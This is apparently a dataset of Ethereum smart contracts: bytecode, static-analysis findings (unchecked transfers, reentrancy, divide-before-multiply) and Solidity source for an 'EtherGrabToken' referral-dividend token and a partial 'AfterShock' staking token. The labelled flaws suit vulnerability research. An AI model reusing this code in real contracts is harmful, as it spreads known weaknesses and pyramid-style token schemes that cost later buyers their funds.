3ffffffff16565b905073db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8d57600080fd5b505af1158015610ca1573d6000803e3d6000fd5b505050506040513d6020811015610cb757600080fd5b8101908080519060200190929190505050610d3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dbf57600080fd5b505af1158015610dd3573d6000803e3d6000fd5b505050506040513d6020811015610de957600080fd5b8101908080519060200190929190505050610e6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610ebe83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f15336002611c6690919063ffffffff16565b8015610f6057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610f7b57610f79336002611c9690919063ffffffff16565b505b505050565b6000610f8c6002611cc6565b905090565b60056020528060005260406000206000915090505481565b609681565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616e6e6f74205472616e73666572204f75742059464932432100000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114557600080fd5b505af1158015611159573d6000803e3d6000fd5b505050506040513d602081101561116f57600080fd5b810190808051906020019092919050505050505050565b62011d2881565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111c7826002611c6690919063ffffffff16565b6111d4576000905061131c565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611225576000905061131c565b6000611279600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193b90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006113136127106113056301e133806112f7876112e962011d2889611c1e90919063ffffffff16565b611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b611c4d90919063ffffffff16565b90508093505050505b919050565b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e181565b600081116113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b505050506040513d602081101561147c57600080fd5b81019080805190602001909291905050506114ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61150833611988565b6000611532612710611524609685611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b90506000611549828461193b90919063ffffffff16565b905073db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115f057600080fd5b505af1158015611604573d6000803e3d6000fd5b505050506040513d602081101561161a57600080fd5b810190808051906020019092919050505061169d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b6116ef81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611746336002611c6690919063ffffffff16565b6117a45761175e336002611cdb90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561186657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561194757fe5b818303905092915050565b60006119618360000183611d0b565b60001c905092915050565b60008082840190508381101561197e57fe5b8091505092915050565b6000611993826111b1565b90506000811115611bd65773db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611a2357600080fd5b505af1158015611a37573d6000803e3d6000fd5b505050506040513d6020811015611a4d57600080fd5b8101908080519060200190929190505050611ad0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611b2281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b7a8160015461196c90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611c3d575082848281611c3a57fe5b04145b611c4357fe5b8091505092915050565b600080828481611c5957fe5b0490508091505092915050565b6000611c8e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d8e565b905092915050565b6000611cbe836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611db1565b905092915050565b6000611cd482600001611e99565b9050919050565b6000611d03836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611eaa565b905092915050565b600081836000018054905011611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f1b6022913960400191505060405180910390fd5b826000018281548110611d7b57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611e8d5760006001820390506000600186600001805490500390506000866000018281548110611dfc57fe5b9060005260206000200154905080876000018481548110611e1957fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611e5157fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611e93565b60009150505b92915050565b600081600001805490509050919050565b6000611eb68383611d8e565b611f0f578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611f14565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea264697066735822122051eaceb943370f41c22695f843e0f773df7323236b30c4e0a320f2871de3bf8064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,454 |
0x3b01a0d4e676ce978af89ab31b8b2c9031bdf7a5
|
pragma solidity ^0.4.25;
/*
* https://eth-grab.pro
*
* Ethereum Grab concept
*
* [✓] 4% Withdraw fee
* [✓] 10% Deposit fee
* [✓] 1% Token transfer
* [✓] 33% Referal link
*
*/
contract EtherGrabToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Ether Grabber Pro Token";
string public symbol = "ETGP";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f610879565b34801561029857600080fd5b5061013f600435151561087f565b3480156102b257600080fd5b5061013f6108c2565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c7565b3480156102e857600080fd5b5061013f6108e2565b3480156102fd57600080fd5b5061013f61092d565b34801561031257600080fd5b5061016661093f565b34801561032757600080fd5b5061033f600160a060020a0360043516602435610999565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3c565b34801561037757600080fd5b50610260610ca8565b61013f600160a060020a0360043516610cd5565b3480156103a057600080fd5b50610260610ce1565b600033818080808080806103c86103c18c600a610d97565b6064610dcd565b96506103d86103c1886021610d97565b95506103e48787610de4565b94506103f08b88610de4565b93506103fb84610df6565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c186600a610d97565b92506106f48584610de4565b91506106ff82610df6565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c1846004610d97565b91506106ff8383610de4565b601281565b600080600061075e600161087f565b1161076857600080fd5b339150610775600061087f565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610840576414f46b04009350610873565b610851670de0b6b3a7640000610e9d565b92506108616103c1846004610d97565b915061086d8383610de4565b90508093505b50505090565b60025481565b60003382610895576108908161060c565b6108b9565b600160a060020a0381166000908152600460205260409020546108b78261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109005764199c82cc009350610873565b610911670de0b6b3a7640000610e9d565b92506109216103c184600a610d97565b915061086d8383610e8e565b600033610939816108c7565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109aa61092d565b116109b457600080fd5b336000818152600360205260409020549094508611156109d357600080fd5b60006109df600161087f565b11156109ed576109ed61074f565b6109fb6103c1876001610d97565b9250610a078684610de4565b9150610a1283610e9d565b9050610a2060065484610de4565b600655600160a060020a038416600090815260036020526040902054610a469087610de4565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a759083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610ae99190680100000000000000008402811515610ae357fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b4f61092d565b11610b5957600080fd5b33600081815260036020526040902054909650871115610b7857600080fd5b869450610b8485610e9d565b9350610b946103c1856004610d97565b9250610ba08484610de4565b9150610bae60065486610de4565b600655600160a060020a038616600090815260036020526040902054610bd49086610de4565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4457610c40600754600654680100000000000000008602811515610ae357fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7a6108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526003602052604081205490811115610cc957610cc981610b3c565b610cd161074f565b5050565b60006108bc34836103a9565b600080600080610cf1600161087f565b11610cfb57600080fd5b610d05600061087f565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d479084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610daa5760009150610dc6565b50828202828482811515610dba57fe5b0414610dc257fe5b8091505b5092915050565b6000808284811515610ddb57fe5b04949350505050565b600082821115610df057fe5b50900390565b6006546000906c01431e0fae6d7217caa00000009082906402540be400610e7b610e75730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001610f09565b85610de4565b811515610e8457fe5b0403949350505050565b600082820183811015610dc257fe5b600654600090670de0b6b3a7640000838101918101908390610ef66414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610ef057fe5b04610de4565b811515610eff57fe5b0495945050505050565b80600260018201045b818110156108bc578091506002818285811515610f2b57fe5b0401811515610f3657fe5b049050610f125600a165627a7a72305820c39534f9d663c200327e2144f1722d883090057d5628d5e52268221fef834b550029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 2,455 |
0x11ded8addda881f700fbda2fe2030656289322a3
|
/**
*Submitted for verification at Etherscan.io on 2019-07-07
*/
pragma solidity 0.5.8;
interface IERC20
{
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256)
{
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20
{
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AfterShock is ERC20Detailed
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "AfterShock";//"AfterShock";
string constant tokenSymbol = "SHOCK";//"SHOCK";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
address public contractOwner;
uint256 public fullUnitsStaked_total = 0;
mapping (address => bool) public excludedFromStaking; //exchanges/other contracts will be excluded from staking
uint256 _totalRewardsPerUnit = 0;
mapping (address => uint256) private _totalRewardsPerUnit_positions;
mapping (address => uint256) private _savedRewards;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ------------------------------------------------------------------------
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
contractOwner = msg.sender;
excludedFromStaking[msg.sender] = true;
excludedFromStaking[address(this)] = true;
_mint(msg.sender, 1000000 * (10**uint256(tokenDecimals)));
}
// ------------------------------------------------------------------------
function transferOwnership(address newOwner) public
{
require(msg.sender == contractOwner);
require(newOwner != address(0));
emit OwnershipTransferred(contractOwner, newOwner);
contractOwner = newOwner;
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256)
{
return _balances[owner];
}
function fullUnitsStaked(address owner) public view returns (uint256)
{
return toFullUnits(_balances[owner]);
}
function toFullUnits(uint256 valueWithDecimals) public pure returns (uint256)
{
return valueWithDecimals.div(10**uint256(tokenDecimals));
}
function allowance(address owner, address spender) public view returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
